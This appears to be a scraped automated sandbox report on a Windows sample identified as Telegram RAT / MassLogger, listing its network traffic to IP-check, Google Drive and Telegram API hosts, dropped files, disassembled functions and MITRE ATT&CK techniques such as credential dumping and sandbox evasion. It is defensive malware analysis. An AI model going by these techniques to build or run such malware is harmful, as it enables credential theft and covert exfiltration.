Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report m0CZ8H4jfl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Crosspiece.Gly

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Skattereduktion.Pre29

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\wildwestfilm.sto

C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

File Icon

Windows Analysis Report
m0CZ8H4jfl.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre